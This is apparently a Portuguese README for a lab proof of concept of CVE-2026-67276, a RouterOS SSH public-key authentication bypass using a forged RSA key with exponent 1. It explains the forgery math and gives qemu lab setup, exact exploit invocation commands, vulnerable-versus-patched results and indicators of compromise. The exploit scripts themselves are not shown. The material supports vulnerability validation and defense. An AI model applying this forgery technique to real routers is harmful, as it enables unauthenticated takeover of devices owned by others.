
CVE-2026-67276 Prova de conceito (PoC) de laboratório para bypass de autenticação por chave pública SSH no RouterOS
Apenas para uso em laboratório. Execute exclusivamente contra instâncias RouterOS que você possua. Atacar dispositivos que você não possui é crime (CFAA, art. 267 da legislação polonesa, equivalentes).
O CERT PL (05/09/2026) divulgou seis vulnerabilidades no RouterOS, exploradas ativamente na natureza como a cadeia "MikroTrick" (assunção total não autenticada do dispositivo quando o SSH está acessível pela internet). Corrigidas pela MikroTik em 03/09/2026 nas versões 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21.
| CVE | Tipo | Defeito principal |
|---|
| 2026-67276 | CWE-347 (este PoC) | A verificação de correspondência de chave do userauth SSH confere (tipo de chave, módulo), mas omite o expoente; a verificação de assinatura usa a chave fornecida pelo cliente ⇒ falsificação com e=1 |
| 2026-86060 | CWE-88 | Injeção de argumento via nome de usuário iniciado com caractere proibido (-2 visto nos logs de ataque) ⇒ alteração da máscara de política ⇒ escalonamento de privilégios |
| 2026-67279 | CWE-841 | O SSH entra no protocolo de conexão após rekey solicitado pelo cliente sem userauth concluído ⇒ execução não autenticada no namespace de arquivos |
| 2026-67277 | CWE-306 | Estado pré-autenticação do bandwidth-test + divulgação de buffer não inicializado + underflow de tamanho ⇒ vazamento de memória do kernel / reinicialização |
| 2026-67278 | CWE-347 | X.509 aceita assinaturas RSA/PKCS#1v1.5 malformadas; âncora de confiança com e=3 ⇒ falsificação de intermediário confiável |
| 2026-67281 | CWE-824 | Ponteiro principal não inicializado obsoleto no WebFig /jsproxy + escape de caminho ⇒ leitura de arquivo como root |
Faixas vulneráveis (todas as seis): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).
{ssh-rsa, e=1, n=vítima} faz com que sig^1 mod n == sig, portanto a
"assinatura" válida é simplesmente EMSA-PKCS1-v1_5(hash, authdata) — calculável
por qualquer pessoa que conheça o módulo público da vítima. Nenhuma chave privada é necessária.Pré-condições (o mínimo da própria divulgação): nome de usuário alvo + o módulo RSA público autorizado desse usuário.
n dessa chave autorizada (de um .pub vazado/capturado,
registros de provisionamento ou --modulus-hex). Esta é a única entrada
semelhante a segredo; a chave privada nunca é necessária.ForgeKey — o OpenSSH padrão não consegue).ssh-rsa na 6.x, rsa-sha2-256
também na 7.x).forge_67276.py — primitiva: análise de chave pública OpenSSH, codificador EMSA RFC 8017,
construtores de blob/assinatura falsificados, verificador de referência RFC 8017.selftest.py — prova local, sem roteador: codificador byte-idêntico ao OpenSSL
(via inversão de assinatura real), assinatura falsificada verifica com e=1 e NÃO com 65537,
simulação completa do formato de wire RFC 4252 §7. Todas as 15 verificações PASSAM.poc_67276.py — cliente paramiko que executa o bypass (fixação de algoritmo
por conexão; --lab-i-own-this-target obrigatório).console_setup.py — preparação única do CHR via telnet serial do qemu
(busca a chave da vítima via 10.0.2.2, importa para admin, habilita ssh).sanity_real_key.py — controle: a autenticação normal por chave pública deve ter sucesso primeiro.victim_rsa / victim.pub — par de chaves "vítima" descartável de 2048 bits gerado;
deliberadamente excluído do Git.python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/, bridge do host br0
(192.168.100.1/24) com taps tap0-tap3; dnsmasq no br0 com leases por MAC.| VM | Imagem | IP do convidado | MAC | Tunel do lado Mac |
|---|---|---|---|---|
| chr-6.49.20 | 6.x vulnerável | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | 6.x corrigida | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | 7.x vulnerável | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | 7.x corrigida | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123 e chave da vítima importada para admin. Alterações forçadas de senha no
primeiro login foram conduzidas via SSH (bootstrap_password.py lê o diálogo) ou
sendkey do monitor QEMU (mon_type.py) — o console serial do CHR está morto por
padrão; o console VGA só é legível via screendump do monitor.ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]Reexecução (exemplo, VM3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # linha de base
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| Alvo | chave privada real (linha de base) | chave falsificada e=1 (PoC) |
|---|---|---|
| 7.23.3 | auth OK | auth OK + execução de /system resource print — CVE confirmada |
| 7.23.4 (corrigida) | auth OK | rejeitada |
| 6.49.20 | auth OK | rejeitada (ver nuance) |
| 6.49.21 (corrigida) | linha de base inválida | não interpretável; o convidado aceitou autenticação SSH none |
Para o par 7.x, a linha de base com chave real tem sucesso em ambas as versões, a autenticação
SSH none é rejeitada, uma falsificação com módulo errado é rejeitada pela 7.23.3
e a falsificação com módulo correto só tem sucesso na 7.23.3. Esta é uma comparação
válida entre vulnerável e corrigido.
O convidado 6.49.21 não foi provisionado conforme documentado durante a revalidação
independente: admin permaneceu expirado, /user ssh-keys print detail estava
vazio e uma solicitação SSH none sem credenciais executou comandos. Chaves RSA reais
não relacionadas e chaves e=1 com módulo errado também pareceram ter sucesso.
Reprovisione este convidado e verifique se none e uma chave não relacionada são rejeitados
antes de usá-lo como controle corrigido.
Nuance de versão: na 6.49.20, a correspondência do lado do servidor rejeita o blob e=1
(/log ssh,debug: can't find matching key for user: admin) — a omissão de expoente
divulgada não era observável no correspondente da 6.x, embora a faixa genérica do CERT
liste [6.0.0, 6.49.21). Vulnerável confirmado: 7.23.3. Corrigido
confirmado: 7.23.4. O estado atual do laboratório 6.49.21 não prova nenhum dos dois resultados. A
atividade MikroTrick na natureza também visou dispositivos 7.x.
Descoberta de formato de wire (RFC 8332): a string de tipo interna do blob permanece
ssh-rsa mesmo para algoritmos de assinatura rsa-sha2-256/512; o algoritmo de assinatura
vai apenas no campo de algoritmo externo. Ignorar isso faz o servidor
desconectar no meio do userauth (erro de análise do blob) — observado tanto na 6.x quanto na 7.x.
O ForgeKey do PoC lida com isso, e --exp-enc aligned|canonical alterna
a largura do mpint e=1 (1 vs 3 bytes). Na 7.23.3 AMBAS as larguras autenticam — o
correspondente analisa o expoente e realmente ignora seu valor. Na 6.49.20 NENHUMA
autentica (can't find matching key) — ver a nuance de versão acima.
Hexdumps de pacotes do lado do servidor via /system logging add topics=ssh,debug + /log print
revelaram tudo isso.
Valores SHA-256 do arquivo de imagem de origem usados por este laboratório:
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
login failure for user -2 via ssh,
user <name> added by ssh:-2@<ip>; usuário altamente privilegiado desconhecido ops;
marcador /system/device-mode/print "Flagged" (indica comprometimento; sua
ausência não prova nada). IPs de atacantes observados: 82.192.72.4, 103.102.31.18.